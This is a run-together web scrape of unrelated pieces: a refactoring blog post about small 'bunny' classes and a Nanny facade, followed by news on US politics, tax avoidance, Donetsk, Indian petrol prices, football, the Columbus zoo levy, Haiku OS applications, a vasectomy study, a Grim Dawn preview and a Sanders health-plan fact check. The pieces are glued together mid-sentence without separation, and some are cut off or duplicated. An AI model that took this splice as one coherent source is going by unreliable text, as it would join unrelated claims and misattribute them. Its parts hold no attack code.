When bunnies need to talk to each other, you wind up with lots of inter-bunny murmuring.
self.depth = [self.controller.driller depth];
Get rid of this by adding convenience methods in the mother class. (Yes: this makes the mother class bigger, and yes, the whole point of the exercise was to make the mother class smaller. Trust me on this.) The extra convenience methods are trivial, they’re easy to write, and they’re unlikely to break. At the same time, you:
avoid violating the Law of Demeter
reduce inter-bunny murmuring
In fact, you may soon be able to remove a bunch of dependencies between bunnies at the cost of a few tiny methods in the mother class.
Continue this refactoring until the bunnies no longer need to know about each other, and talk only to their mother.
Extract A Nanny Class
The last refactoring round made the bunnies better, but now we’ve made the mother class worse. No worries! Take all those little methods you just made in the mother and sprout a Nanny class.
Now, when the bunnies want something from the mother or from another bunny, they talk to the Nanny. When the mother class wants a bunny to do something, it tells the Nanny.
The Nanny knows where to find each bunny and the mother, but otherwise it has no state. It’s got lots of intimate knowledge – it #include’s each bunny – but that’s OK because it doesn’t really do very much with that knowledge. It just relays messages between the bunnies, and passes messages from the bunnies to the mother and from the mother to the bunnies.
The nanny, in short, is a new class that abstracts that tangle of yarn. In trade school lingo, it’s a multiple Facade, an interface between bunnies and the mother class and also an interface amongst in homogenous bunny classes.
Special Friends
Often, you may find that the Nanny has a bunch of methods that talk to the same two or three bunny classes. If the Nanny starts to get complicated, you can hare off the parts that deal with that group of bunnies into its own Nanny.
Small Bunnies Really Are Better
I mistrust box-and-line diagrams; they’re often an indication of architectural astronautics. Is all this refactoring getting us anywhere? We started with a 2500-line mother class. Perhaps we end up with 8 classes. The mother’s still 1000 lines, and the nannies and bunnies are 200-400 lines. Are we better off?
Yes, we probably are.
First, everything is much simpler. Five years from now, you get a crash report right in the middle of Driller, because it’s being passed a WarpDrive and those hadn’t even been invented back in 2014. With only a handful of methods, fixing Driller to work with a WarpDrive won’t be hard. You probably won’t even need to glance at the other bunnies.
But even if you need to look through every single bunny and every nanny, you’re still better off. Small classes are easy to understand. 2500-line classes make you nervous now, and they’ll make you nervous in 2019.
Testing bunnies is likely to be straightforward. To test the old mother class, you probably need to build a model and then mock a view, and you’re going to need to plant sensors or breakpoints to get internal state. Trust me, you don’t want that.
Just this morning, Tinderbox was crashing when a table inside a popover called reloadData, thanks to some asynchronous code that was bashing the model just as we were reloading. In a five-method bunny that was so simple it couldn’t possibly crash, a concurrency error was an obvious place to look and the fix took twenty minutes. In a fifty-method mother, especially one you don’t really trust, you could spend days hunting that crash.
I’m pretty sure that the advantage of bunny classes can, in fact, be quantified. And perhaps it has! Let me know.
This recent series has been getting a lot of traffic from colleagues, and also at least one college class. (Hi, all you Manitobans!) I’ve not been seeing much email. Have something I should know about? Email me.Donald J. Trump tried out several lines of attack against Hillary Clinton, at one point calling her “unfit to be president,” as he delivered an otherwise noticeably restrained speech to an audience of evangelical activists here Friday.
Appearing before the Faith and Freedom Coalition’s Road to Majority conference, Mr. Trump promised to “uphold the sanctity and dignity of life” and to “restore respect for people of faith.”
But he also used the opportunity to press his case against Mrs. Clinton, portraying her as arrogant, attacking her economic policies and willingness to admit Syrian refugees into the country and questioning her judgment as secretary of state.
“She’ll appoint radical judges who will legislate from the bench, overriding Congress, and I’ll tell you, the will of the people will mean nothing — nothing,” Mr. Trump said. “She will undermine the wages of working people with uncontrolled immigration, creating poverty and income insecurity. Hillary Clinton’s Wall Street agenda will crush working families. She’ll put bureaucrats, not parents, in charge of our lives, and our children’s education.”Have a look at this Bloomberg story:
Billionaire Edward Lampert may have found a way to shield himself from millions of dollars in taxes under legislation that would raise levies on profits at private- equity firms. ESL Partners LP, the Greenwich, Connecticut, hedge fund Lampert started more than 20 years ago, and affiliates distributed about $829 million of stock...to him on June 2... By taking direct ownership of the shares, Lampert would be taxed at the capital-gains rate of 15 percent when the stock is sold, rather than the ordinary income rate of 39.6 percent that his fund would have to pay under the bill, according to Robert Willens, whose New York-based firm analyzes tax and accounting rules for Wall Street clients. Lampert is ranked 316th on the Forbes list of world's richest people, with an estimated net worth of $3 billion. “It's totally an astute thing to do,” Willens said in a telephone interview. “It doesn't take a fortune teller to predict that we are going to see a lot of this activity between now and the end of the year.”
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The economist thing to say is that it's obviously rational to avoid taxation when possible, and this is why governments need to take heed when designing tax regimes. Individuals will do what they can to avoid paying, either by reducing the taxed behaviour or acting to take advantage of loopholes. And the rich will be best able to do this.
But let's be honest for a moment. According to this Bloomberg story, Mr Lampert is worth $3 billion. If he earns just 1% per year on that fortune—and he certainly earns much more—then he takes home $30 million in income. Per year. That's 600 times the median household income in America. It's more money than a person can reasonably spend. With that much money you can binge every day, and yet the money will just keep accumulating.
And yet Mr Lampert feels he needs to take special steps to avoid paying the regular income tax rate for individuals in the highest tax bracket, which begins at around $373,000 (the 15% bracket, by the way, begins at $8,375 for an individual). Obviously, most of the people bringing home that level of income are generating it in wages and salary, and they have no choice but to pay the income tax rate. I'm sure if you approached Mr Lampert and told him he didn't work for his money, he'd bristle at the suggestion. And yet he wants to continue to take advantage of the silly rule by which the money hedge fund managers make from doing their job is taxed as capital gains rather than income.
As far as I can tell, this is entirely within the law. But I don't think it's improper to declare it obscene. Shameful, even. With a fortune of that size, additional wealth is about little more than score-keeping. You can afford to be a grown-up and pay the same taxes as everyone else.
It sounds horribly populist to say so, but the fact that this kind of behaviour is lauded in the financial press when it ought to be scorned is a real problem. It's a problem in that it reveals big money men to be as brazen in their behaviour as they were before the crash. But it's also an indicator that something remains broken in America's attitude toward wealth.British journalist reported missing in Donetsk after covering battles between pro-Russian separatists and Ukrainian forces amid claims he was 'taken prisoner'
Graham Phillips, 35, is a stringer for Russian English-language channel RT
He was with a group of journalists covering battles for Donetsk Airport
RT source: Nothing heard from him since 2am when he texted 'all is fine'
'Taken prisoner': Graham Phillips, 35, is a stringer for Russian English-language channel RT
A British TV reporter is ‘missing’ in Donetsk after covering battles between pro-Moscow rebels and the Ukrainian army for control of the flashpoint city, fellow journalists said today.
Graham Phillips, a stringer for Russian English-language channel RT, was with a group of journalists covering battles for Donetsk Airport.
One account said: ‘Journalists who were with him refused to go further because it was extremely dangerous.’
There was an unconfirmed claim that the 35-year-old reporter had been ‘taken prisoner’.
A journalist who expected to work with him today, Vsevolod Petrovskiy, said: ‘I got a phone call this night and I was told he was missing.
‘He got close to the Ukrainian army position at Donetsk airport. He went with a friend of mine.’
Colleagues had previously warned Mr Phillips against taking undue risks in covering the conflict.
An RT source said: ‘We have been trying to reach our stringer Graham Phillips but failed so far.
'Yesterday he warned us that he was going to go to the airport of Donetsk where there was active shooting. We asked him not to do it because it was extremely dangerous.
'But having read various accounts in social networks, we see that he did go there with a group of journalists. At about 2am we got a text message saying “all is fine” but nothing since then.’
He was previously detained in Mariupol by Ukrainian troops who later released him.
Dangerous area: A member of the Russian Orthodox Army mans a barricade near Donetsk Airport in Ukraine
Scottish-educated Phillips said after a previous incident where he walked up to Ukrainian troops in a field: ‘My producers kept sending me text messages to make sure I was wearing my vest.Oil marketing companies have announced a cut in petrol prices by Rs 0.95 per litre with effect from midnight to pass on the impact of softening global rates. The fuel will cost Rs 67.24 in Delhi against the current price of Rs 68.19, said a statement from IndianOil. The new price in Mumbai, Chennai and Kolkata will be Rs 73.53 (-Rs 1.20), Rs 70.57 (-Rs 1.20) and Rs 74.55 (-Rs 1.19), respectively. The drop is lower in the other three metros due to a higher VAT component.
“Presently, the international oil prices are relatively stable. However, there has been significant volatility in the Rupee-USD exchange rate. The trends in the international oil market and the exchange rate are being closely monitored and the same shall be reflected in future price changes,” it said.
Petrol prices were last revised on October 27 when they were raised by 29 paise to Rs 68.19 per litre in Delhi following an increase in the commission paid to petrol pump dealers.
Petrol was decontrolled in June 2010 but companies have failed to pass on the regular desired increase due to political pressure. Oil marketing companies IndianOil, Bharat Petroleum and Hindustan Petroleum have incurred a loss of Rs 2,600 crore approximately on sale of petrol during April-September period due to their inability to change retail selling prices to match market conditions.
OMCs are also suffering under-recovery on sale of three sensitive petroleum products, namely diesel (Rs 9.84 a litre), kerosene (Rs 31.30 a litre) and domestic LPG (Rs 478.50 on six subsidised cylinder for each consumer). Projected under-recovery on these products is expected to cross Rs 160,000 crore for the current year against Rs 138,541 crore last fiscal.The Israeli military has dismissed over 40 soldiers for publicly criticizing the Tel Aviv regime’s crimes against Palestinians.
The 43 male and female reserve soldiers, who were members of the Israeli army’s spying unit, were fired on Monday after they refused to “continue serving the system which affects the rights of millions of people.”
In a letter published by Israeli media in September 2014, the soldiers wrote to Prime Minister Benjamin Netanyahu and top army chiefs that they could no longer serve in the unit because they did not want to participate in the injustices committed against Palestinians.
The signatories also criticized the “political persecution” their spying activities involved.
The letter was reportedly written a few weeks after Israel’s 50-day offensive on the Gaza Strip last summer.
Israel started its latest war on Gaza in early July 2014. Over 2,100 people died and some 11,000 others were injured in the Israeli war, which ended on August 26 with a truce that took effect after indirect negotiations in the Egyptian capital, Cairo.
More than 15,500 housing units were also damaged in the attacks while over 2,200 houses were totally destroyed, according to official figures released by Palestinian sources.
YH/HJL/HMVPay Based on Work, Not Negotiation Skills
We took a good, hard look at how companies decide on compensation, and came to the conclusion that pretty much all workers come to: it’s not fair. Your salary at an agency often depends on your ability to negotiate, rather than help our company grow—which can lead to significant cultural problems and wage differences between employees doing equal amounts of work.
We set out to create a better path toward fair wages. All Online Optimism staff receive an employee review every 90 days. Not only do we discuss your performance that quarter, and set goals for the next quarter, but we’ll have a frank discussion of your salary. By no means is this a perfect system, but it means a conversation about your pay is dependent on your actual work instead of your reviewer’s mood, luck, and the phase of the moon being just right.
Each quarter, we also review Online Optimism’s financials with our entire team. Your career is an investment in Online Optimism, and you should be knowledgeable in how our company is growing so you can understand where your salary is coming from.Andrew Hudson, whose recent article on BFS over at ARSTechnica intrigued us, shares with us some thoughts on the state of apps on Haiku. It turns out there are several repositories with a vast array of applications ready-to-go for your new Haiku install.
Where Are the Haiku Applications?
As more Haiku new-comers install the Alpha 1 or Alpha 2 versions we hear the same complaint, “I just installed Haiku, but there are no applications and there’s nothing to do†Many Haiku users have the mistaken impression that few applications run on Haiku and then go away after having a bad out-of-box
experience. Haiku has literally thousands of BeOS applications to run, but we haven’t organized them in a way that makes them easily accessible. The Superior Haiku Applications Group sets out to change this.
A Better Experience With SHAG
Our #1 Goal is to increase the Haiku user experience. And so we created a list of the first and best apps you should download after installing Haiku. In the process we also looked at apps that we really wanted to run but couldn’t, and apps that don’t exist in Haiku yet but really should.
Promiscuous Testing Criteria
We looked far and wide for BeOS apps. We put out a call for people to list
their favorite BeOS apps. We also went through old BeOS literature, read old reviews, and emailed old developers. We were and still are looking for cool, fun, and useful BeOS applications. This list is still evolving. We know we missed some apps so please keep your recommendations coming. Or better yet, join our testing on Haikuware.
We searched through application download sites: bebits.com, haikufire.com, beemulated.net, darkwyrm downloads, zeta-games.com, haikuware.com, and did a lot of googling. Haikuware was chosen as the central repository because it has 2640+ applications to download. It also has a rating system, user forums, a built in email system, and a way to leave comments for each app.
We used promiscuous testing criteria: Install it on Alpha 2. Open it. Try a few operations. Report the results. We try as hard as we can to “rule in†any app, and find work-arounds for simple problems. If it kind of or mostly runs, we added it to our list.
Different Levels of Haiku Compatibility
In the process of testing we found that BeOS applications fall into the following categories:
Runs on Haiku with little or no modification
Requires some work-around (e.g. needs BeOS compatibility
optional package)
optional package) Requires hybrid
GCC4libs
GCC4libs Requires an updated HaikuPorts lib
Requires development
work (e.g. doesn’t run yet)
How to Install an Application on Haiku
If you see an application you really want to run, how do you install it?
Open your WebPositive web browser
from the Applications menu
from the Applications menu Go to Haikuware.com
Download the application you want by clicking on Download
Launch the Expander by clicking on the Open button after
download completes
download completes Change the install path from /boot/home/Desktop to
/boot/apps
/boot/apps Click Expand
To run your new application – right click on your file
system icon (upper left corner), then select the apps folder, then your
application’s folder. Some applications have an additional setup script or
setup instructions. Look for a README file.
If the application is downloaded as a.pkg file, open Terminal from the Applications menu and run PackageInstaller from the command line. Use the PackageInstaller to
complete the installation.
Some applications or libraries can be installed using the installoptionalpackage utility. Open Terminal and type installoptionalpackage –l to list packages or libraries
that are available to install or update
Applications That Run on Haiku Alpha 2 With No Extra Libraries
Games That Require SDL
GCC4 Libraries
Awesome Applications That Don’t Run Yet
Awesome Applications That Really Need to Be Ported to
Haiku
Enough can’t be said about GOBE Productive. It’s so good
that some people still run V2.02 on Haiku. GOBE Software is still in business and will consider working with the Haiku team to port V3 to Haiku. As far as I am concerned, GOBE Productive is the closest thing we have to a killer app for
Haiku.
Category Name Description Issue Amazing Office Suite GOBE Productive The most amazing BeOS office suite EVER Needs a Senior developer for a Haiku port USB scanner package Sanity USB package for scanners Needs libusb port for Haiku and
newer version of SANE lib Word processor AbiWord Popular word processor Needs
a new build
Applications That Come With Haiku Alpha 2
Don’t forget that Haiku Alpha 2 comes with more than two dozen applications pre-installed. Here are some of the cool apps to check out:
Name Description BePDF Views PDF files CDPlayer Plays audio CDs DeskCalc A basic calculator DiskUsage Shows your disk usage graphically installoptionalpackage Use –l to list packages you can install Mail A POP/IMAP mail client PackageInstaller Installs.pkg files (runs from
Terminal) People A personal contact manager Poor Man A simple web server MidiPlayer Plays MIDI files (doesn’t currently work) Pe The favorite code editor of Haiku developers Screenshot A screen capture utility SoundRecorder Records audio StyledEdit A basic word processor Terminal A command line window with BASH TV Interface to TV viewing cards Vision IRC client WebPositive Our awesome web browser WonderBrush A powerful image editor
This List Is Just A Start!
The list of applications that are tested on Haiku is just a start. We only tested about 65 applications. That leaves about 2475 applications that still need to be tested on Haikuware! Please take a little time and install an application or two and leave some feedback. Or pick an application that doesn’t work and help port it.
Special Thanks
Special thanks to Karl Van Dorff who has hosted haikuware.com for years and who personally retrieved and saved thousands
of classic BeOS applications for posterity. Also thanks to Pistooli, Streakx, MaxOS, DarkWyrm, and Michael V Oliveira for testing and porting.
About the Author
Andrew Hudson is a freelance technical project manager living in
Florida, USA. In his abundant spare time he analyzes technology
trends, listens to punk rock music, and watches Chinese kung fu
movies.Or, as Jon Larson at Real Economics (who found the news item in the German media and has a nice selection of quotes from various German sources) puts it:
This ruling was only possible because Germany still has a large and important fraction of its economy tied to the principles of Industrial Capitalism. I am NOT going to hold my breath waiting for such a ruling in the English-speaking world where defrauding industry is considered standard operating procedure and the practitioners of Finance Capitalism own the banks, schools, government, and media.
If you are curious as to the distinction between industrial capitalism and financial capitalism, or want to know more about why it is sanity still finds a home in Germany, while it goes homeless in the U.S., I highly recommend you read Larson's 1992 book, Elegant Technology: economic prosperity from an environmental blueprint, which Larson has made available entirely online as a pdf file. In a few paragraphs in the book, Larson points out that the process of losing World War Two forced both Germany and Japan to cleanse themselves of most of their Leisure Class predators, and allowed the ascendancy of real industrialists over banksters and financial wheeler-dealers.
According to Spiegel Online:
The amount of money at stake is peanuts for a bank that made over €2.3 billion ($3.3 billion) in profit last year. But the repercussions of the €541,074, plus interest, that Deutsche Bank will now have to pay in compensation to Ille Paper Service could be large enough to keep financial executives awake at night. The bank's lawyer even went so far as to warn of a "second financial crisis." On Tuesday, Germany's Federal Court of Justice, the country's highest court for civil cases, ruled that Deutsche Bank had to compensate Ille, a medium-sized German paper company, for losses it suffered on a complex investment product that the bank sold it in 2005. Ille had sued the bank, claiming it had not been adequately informed about the risks that the financial product entailed. The presiding judge, Ulrich Wiechers, ruled that Deutsche Bank had abused its obligation to give its customers proper advice. The product, called a "spread ladder swap," was essentially a bet on how interest rates would develop in the future. The judge said that the bank did not explain the risk of the product properly, particularly given the fact that the risk to the customer was unlimited if they lost the "bet." There was also a conflict of interest, the court ruled, as the bank was effectively betting against its own customer and giving them advice at the same time. Wiechers also said that the bank had deliberately structured the product to |
A game that looked destined for stalemate came to life in the closing stages after Barry was shown a second yellow card for a trip on Willian.
As opposing players clashed, Ivanovic locked his arm around McCarthy's neck and appeared to push his head towards the Everton midfielder.
Media playback is not supported on this device Jose Mourinho cuts MOTD interview short
Martinez criticised referee Jonathan Moss for his handling of both incidents.
"To give Barry a second yellow just because of the reaction of the Chelsea players, that is disappointing," he said.
"You don't want to believe that that decision is given because of the reaction of the players. It's something that we constantly see here. We have to allow the authorities to look into it.
"Ivanovic's behaviour is wrong. He grabs McCarthy around his neck in a very forceful manner, then puts his head against him. James McCarthy doesn't react a single bit.
"If you want to be on top of the law, that's a red card and we got nothing out of that moment."
Mourinho has only recently returned from a self-imposed 10-day media silence after accusing the press of influencing the Football Association's decision to punish Chelsea striker Diego Costa for a stamp of Liverpool's Emre Can.
When pressed on the latest flashpoint in a post-match interview with BBC Sport's Jonathan Pearce, Mourinho decided to walk out, telling Pearce: "Sorry, see you tomorrow."
He later conducted a short interview with Pearce in which the subject was avoided, but reacted angrily once again when the Ivanovic incident was raised during a news conference with other media.
"I'm concerned with my reaction because one more question and I leave," he threatened. "And after that you are not happy. The next question for that story, I have to go."
Former Arsenal defender Martin Keown said he does not expect Ivanovic to be punished and suggested Mourinho enjoys the controversy.
"Ivanovic puts his arm around his throat and then the head goes towards him," Keown said on BBC Match of the Day.
"I think he is just about going to get away from this. I don't think there is quite enough of his head making any real contact.
"What it is with Mourinho is that he wants that injustice. For me, it is propaganda. If Ivanovic gets suspended, it just goes towards the cause."
Branislav Ivanovic played a part in Chelsea's 89th-minute winner
Everton have not won at Stamford Bridge since 1994
Everton had not conceded in 366 minutes before Willian's winnerA glitch on iCloud.com suggests that Apple will soon add a way to view iCloud Bookmarks on the iCloud.com portal. The screen, shown above, appears briefly at this URL when users try to install the Chrome extension from the iCloud Control Panel for Windows.
Try Amazon Prime 30-Day Free Trial
The screen clearly says that “iCloud Bookmarks are coming soon. Please come back later”. While the message may be referring to the iCloud Bookmarks extension, as the URL slug is ‘bookmarks_extension’, this doesn’t really make sense as browser extensions have already been released by Apple for several months and are available for both Chrome and Firefox.
The more likely interpretation is that users will soon be able to view their bookmarks synced through iCloud on the web. This could be useful to people who are travelling and have to use a computer other than their own for some reason, such as a library PC.
The page uses the iOS 7 iconography for Bookmarks, which indicates the page is somewhat recent. As the browser extensions launched simultaneously with iOS 7, there would have been no need for a ‘coming soon’ page to have been otherwise created.
That being said, it is out of character for Apple to slip up in this way, but not unheard of. In fact, Apple has inadvertently leaked new information through iCloud.com about about upcoming features through the site in the past. In May 2012, beta.icloud.com revealed that Notes and Reminders web apps were in the works. Sure enough, they appeared later in the year alongside iOS 6’s debut.
Thanks Dayton!In a Friday segment on NFL Network's "Total Access", former Patriots Willie McGinest and Heath Evans opined on New England's stacked competition at receiver. The question was asked, "How many of the 12 receivers on the roster can actually make the club?"
McGinest led things off by declaring Wes Welker and Brandon Lloyd locks, while adding that Matthew Slater -- because of his special teams value -- isn't going anywhere.
So that's three right there.
"There are some other guys that have a lot of talent -- Jabar Gaffney had a great year in Washington -- but the thing that sticks out to me is Josh McDaniels. Six of the 12 guys that are here have played under, or for him, in his system. They understand him. It's all about Josh McDaniels and the direction that this offense is going," McGinest said.
Evans then pointed out that the Patriots, unlike other clubs, would feel comfortable keeping fewer running backs than other clubs so they could load up on receivers.
"A normal team would be struggling, how do we cut 12 guys down to six? Well, the Patriots have the option cut them down to eight," Evans said. "You'll still have an odd man out and it's probably Chad Ochocinco, because if you start putting in the special teams battle, because every wide receiver that's not your true core starter needs to have some type of impact on that special teams unit every given Sunday. Obviously, that's not Chad's forte."
To watch the segment, CLICK HERE.
ESPNBoston.com projected depth chart:
1. Wes Welker
2. Brandon Lloyd
3. Deion Branch
4. Jabar Gaffney
5. Julian Edelman (punt returner)
6. Matthew Slater (special teams captain)
--- cut line ---
7. Donte' Stallworth
8. Chad Ochocinco
9. Anthony Gonzalez
10. Britt Davis
11. Jeremy Ebert
12. Matt RoarkThe Columbus Zoo and Aquarium will return to the ballot with a new proposal after voters overwhelmingly said no to a permanent levy following a raucous and sometimes nasty campaign. The zoo's request for a permanent, 1.25-mill property tax was rejected by 70 percent of Franklin County voters, according to unofficial returns with 99 percent of the vote reported.
The Columbus Zoo and Aquarium will return to the ballot with a new proposal after voters overwhelmingly said no to a permanent levy following a raucous and sometimes nasty campaign.
The zoo�s request for a permanent, 1.25-mill property tax was rejected by 70 percent of Franklin County voters, according to unofficial returns with 99 percent of the vote reported.
Election Results: Primary 2014
�The voters spoke very clearly,� Phil Pikelny, chairman of the zoo board, said last night. �The vision we were offering is not the one the voters want at this time. People do love this zoo. What they didn�t love is the plan we thought they would want.�
He said the board will study what voters objected to and then decide what kind of levy to place on a future ballot.
The failure is the first for the zoo and its most expensive campaign, at an estimated $700,000.
Past zoo levies have sailed to victory, but this one attracted a local opposition group and then a national anti-tax organization � Americans for Prosperity, supported by conservative billionaire brothers Charles and David Koch.
Eli Miller, Ohio director of Americans for Prosperity, said his staff and volunteers knocked on thousands of doors and called thousands of residents. They also sent out mailings, ran radio ads, polled voters and made robo calls.
�Franklin County voters spoke tonight, and they didn�t want a permanent tax increase,� Miller said.
Past levies have been for five or 10 years, but the zoo had gone to the legislature to gain the ability to seek a permanent tax because it wanted a stable funding stream.
The local group � Citizens for Responsible Taxation � distributed fliers and yard signs and spoke against the levy at forums, on radio and door-to-door. Spokesman Dan McCormick said the group �is happy that the voters connected with our message about doubling their zoo tax permanently for a Downtown zoo with no participation from the entire region that benefits.�
The group had said that Delaware County property owners should also pay the tax because the main zoo is in their county.
The zoo campaign hired a public-relations firm and professional campaign strategists, advertised on billboards, sent out mailings, advertised on television and held campaign rallies featuring zoo animals.
Popular emeritus director Jack Hanna starred in many of its television ads and campaigned in person in the county, particularly this past weekend.
Opponents also railed against a planned new Downtown satellite zoo, to be built south of COSI Columbus along the Scioto River.
The levy would have paid 85 percent of its $50 million to $65 million cost. The satellite, planned as an attraction for convention visitors and as a less-expensive alternative to the main zoo in Delaware County, would have been part aquarium, part rain forest and part playground.
Pikelny, who also is an executive of The Dispatch Printing Company, which publishes The Dispatch and Dispatch.com, said he didn�t know what would happen with the proposed Downtown facility.
Opponents also complained that the amount homeowners would pay would be double the cost of the current zoo levy. It would have cost homeowners in Franklin County $44 a year per $100,000 of property value; the current levy costs $21 a year. Part of the increase would have been because the state no longer pays 12.5 percent of new levies for homeowners.
The state subsidy would remain if the current levy were renewed. That 10-year, 0.75-mill property tax doesn�t expire until the end of 2015. So the zoo has time to return to the ballot without seeing a break in revenue if voters approve a tax in November or in 2015.
The failed levy would have raised $32.7 million a year compared with the current levy�s $18.9 million a year.
The levy also would have paid for new and renovated exhibits, on-grounds transportation, a zoo-hospital update, new security and a new amphitheater.
kgray@dispatch.com
@reporterkathyTo make Mumbai greener, which is fast losing its trees to infrastructure projects, the Dawoodi Bohra community has decided to plant 40,000 trees in the city. The drive will mark the end of Ramzan.
More than 50 trees have already been planted near Horniman Circle and near community mosques and housing colonies in Mazgaon, Muhammad Ali Road, Malabar Hill and Andheri. The programme will be extended to other locations such as Santacruz, Kandivli, Thane and Mumbra.
“The community is encouraging its members to participate by planting trees (one to two years old). The holy month of Ramzan is known for devotion, prayers and expressing gratitude toward Allah. Such initiatives underline the significance of becoming an agent in preserving and nurturing nature,” said Taikhoom bhaisaheb Mohiyuddin, trustee of Burhani Foundation India.
Read: Mumbai professor plants 2.5K trees, pens short poems for a greener city
The drive is the brainchild of their spiritual leader Syedna Mufaddal Saifuddin, who wishes to plant 2 lakh trees across the globe. Every tree will be tagged with a number and a barcode to identify its location.
“Information such as date of plantation, species, length and location, will be documented on a web portal so that we can track the entire plantation drive,” said Mohiyuddin. “We will track health of trees in the future and take care of those which need attention.”
Trees will also be planted at Pune, Nashik, Lonavla, Kohlapur, Palghar and Dahanu.
“We are encouraging community members to get these trees from local nurseries and people have started planting trees without our help. We are getting the trees from Pune and Gujarat,” said Mohiyuddin. “We’ll be planting about 500 trees at Rani Baug, Byculla, upon receiving permission from the civic body’s tree department.”
Mohiyuddin said the initiative goes hand-in-hand with Prime Minister Narendra Modi’s vision of a clean and green India.
Read: 76% of saplings planted in Maharashtra last year have survived, claims government
“Looking at trees enlightens our eyes. Our his holiness has taught us this. There is an emotional and spiritual connect with such drives for each of us. It is like nurturing children and this is inherent in our religion,” he added.
Explaining the importance of such drives, Avick Sil, regional director of Environmental Policy Research Institute, said, “In comparison to loss of trees, we found that only 5% of transplanted trees were surviving in the city. As per the law states, three trees are supposed to be planted against every tree felled.”
First Published: Jun 18, 2017 21:17 ISTIntroduction:
Vasectomy is the simplest, safest, and most effective form of definitive fertility control in men [1]. Vasectomy is used for 10% of contraception worldwide but only for 2% in Germany [2]. The aim of this study was to investigate the impact of vasectomy on the sexual satisfaction of sterilized men and their partners.
Material and methods:
Vasectomized men and their partners were surveyed by means of the IIEF (International Index for Erectile Function) and the FSFI (Female Sexual Function Index) questionnaires. A total of 294 couples were surveyed; 90 men answered the IIEF, and 74 women answered the FSFI. The results of the questionnaires were compared to a historical comparison group. The men were also surveyed with a not validated questionnaire, which was returned by 95 men. The two-sample t-test for independent samples, the chi-squared test, and the Wilcoxon-Mann-Whitney test were carried out.
Results:
The vasectomized men had significantly better results than the healthy historical comparison group in the IIEF domains of erectile function, orgasm, sexual desire, and intercourse satisfaction. For the female partners of the sterilized men, there were almost no significant differences in any questions of the FSFI in comparison to the control group. A significant difference was observed only in the domain 'arousal'.
Conclusions:
Vasectomy does not have a negative impact on the sexual satisfaction of the affected couples. In fact, sexual satisfaction improved for the sterilized men, while the satisfaction of the women was not reduced by the vasectomy.Grim Misadventure #126: Main Views
Its arrival is fast approaching now as we near content complete and hit the grinder on polish and bug fixing. Somewhere along the way we might try to remember what the sun looked like too.
Today’s foray into development is artistically minded. First, with a very exciting update to our main menu!
There your characters will stand, among the foliage of Ugdenbog, with the ruined city of Malmouth ominously looming in the background. We feel it summarizes the expansion’s two new acts exquisitely.
One of the final stages of development, besides tuning and bug fixes of course, is the art department swooping in and cleaning up all the messes the designers left in their wake. This involves lots and lots of items of course. It’s an exciting time to open up our Equipment Test World daily and seeing all of the new item art, which is made all the more awesome with the introduction of
As always, note that item skills are scaled to player stats and do not reflect base values.
The Cortosian Scrolls
"The scrolls are lined with spells and techniques written down by generations of Cortosian Arcanists."
Guardian of Death’s Gates
"Rumored to have once been wielded by Uroboruuk himself, this weapon's edge traps souls with the slightest touch."
Maw of the Damned
"Forever damned are those that partake of the Wendigo's gift."
Stormweave Armor
With hundreds of new Epic and Legendary items in store for you, in addition to the already vast arsenal from the base game, we are excited to see all of the new builds (and Illusion wardrobes) that you come up with.
Like knowing what is coming up next for Grim Dawn? Check back on 09/18/2017 for the next Grim Misadventure. Grim Misadventures here with the latest peek into the upcoming Grim Dawn expansion.Its arrival is fast approaching now as we near content complete and hit the grinder on polish and bug fixing. Somewhere along the way we might try to remember what the sun looked like too.Today’s foray into development is artistically minded. First, with a very exciting update to our main menu!There your characters will stand, among the foliage of Ugdenbog, with the ruined city of Malmouth ominously looming in the background. We feel it summarizes the expansion’s two new acts exquisitely.One of the final stages of development, besides tuning and bug fixes of course, is the art department swooping in and cleaning up all the messes the designers left in their wake. This involves lots and lots of items of course. It’s an exciting time to open up our Equipment Test World daily and seeing all of the new item art, which is made all the more awesome with the introduction of Illusions. Today we have a preview of some of the Legendary equipment that has escaped the art department in recent weeks:With hundreds of new Epic and Legendary items in store for you, in addition to the already vast arsenal from the base game, we are excited to see all of the new builds (and Illusion wardrobes) that you come up with.Like knowing what is coming up next for Grim Dawn? Check back on 09/18/2017 for the next Grim Misadventure. Attached Thumbnails
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***Waste of Souls***The Clinton campaign has made a series of misleading attacks on Sen. Bernie Sanders’ health care plan, saying he wants to “dismantle Medicare” and private insurance and that he would turn over “your and my health insurance to governors.” Not exactly.
Sanders calls for replacing the current health insurance system with a new “single-payer” system in which everyone has insurance paid through taxes. And a federal board would approve individual states’ universal insurance plans, with the power to take over if a state refused to participate or didn’t meet certain standards.
The Clinton camp is free to question Sanders’ plan and its structure — and whether it’s a good idea or politically or practically feasible. But comments by both Hillary Clinton and her daughter, Chelsea, suggest people would lose health insurance under Sanders’ single-payer plan — when such a plan is designed to cover everyone, going beyond what the Affordable Care Act is expected to do. The ACA is expected to leave 27 million uninsured in coming years, according to Congressional Budget Office estimates.
On Jan. 12, Chelsea Clinton said in a stump speech in New Hampshire: “Sen. Sanders wants to dismantle Obamacare, dismantle the CHIP program, dismantle Medicare, dismantle private insurance. … I worry that if we give Republicans Democratic permission to do that, we’ll go back to an era — before we had the Affordable Care Act — that will strip millions and millions and millions of people of their health insurance.”
That “dismantle” claim reminds us of Democrats’ past “end Medicare” claims directed at Republicans. Just as Republicans didn’t call for an “end” to Medicare altogether — they called for replacing the current system with a new insurance program for future seniors — Sanders hasn’t called for dismantling all forms of insurance without a replacement plan.
The day before, on Jan. 11, Hillary Clinton said at a campaign stop in Iowa that Sanders’ plan would “take Medicare and Medicaid and the Children’s Health Insurance Program and the Affordable Care Act health-care insurance and private employer health insurance and he would take that all together and send health insurance to the states, turning over your and my health insurance to governors.” Sanders has proposed having the states implement the single-payer plan, but Clinton gives the impression that governors would be free to do whatever they wanted. That’s not the case.
For his part, Sanders has glossed over the fact that his plan would replace all forms of current insurance with a new system — one he calls “Medicare-for-all,” but would actually be a new insurance system administered largely, if not entirely, by the states. The Washington Post Fact Checker gave Sanders two Pinocchios in November for saying: “I helped write the Affordable Care Act. So I don’t want somebody suggesting I’m trying to dismantle legislation that I helped write.”
But the ACA would no longer exist under what Sanders has proposed.
Sanders’ Plan
Sanders has not released a formal plan as a presidential candidate. But he has introduced single-payer legislation, most recently the American Health Security Act of 2013, and his campaign points to that legislation in responding to the Clinton camp attacks.
The bill, which was referred to committee and never came to a vote, calls for a single-payer, universal coverage system that would be administered by the states and regulated by an American Health Security Standards Board. Medicare, Medicaid and other government health programs, as well as the current private insurance system, would in fact be eliminated, because everyone would get the same health insurance, paid for with tax money, rather than individually through premiums. The bill calls for tax credits and premium subsidies that would have gone to state residents under the ACA instead going to a new trust fund.
